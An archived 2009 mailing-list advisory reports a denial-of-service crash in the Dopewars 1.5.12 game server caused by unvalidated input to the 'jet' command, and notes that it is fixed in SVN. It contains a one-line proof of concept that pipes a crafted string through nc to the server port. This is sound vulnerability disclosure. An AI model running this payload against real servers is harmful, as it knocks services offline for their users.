|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Dopewars 1.5.12 Server Denial of Service
dougtko
gmail.com
Date: Tue Oct 06 2009 - 14:07:38 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
## Description ##
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
## POC ##
ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902
## Fix ##
This issue is resolved in the SVN version of the application.
## Discovered by Doug Prostko
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]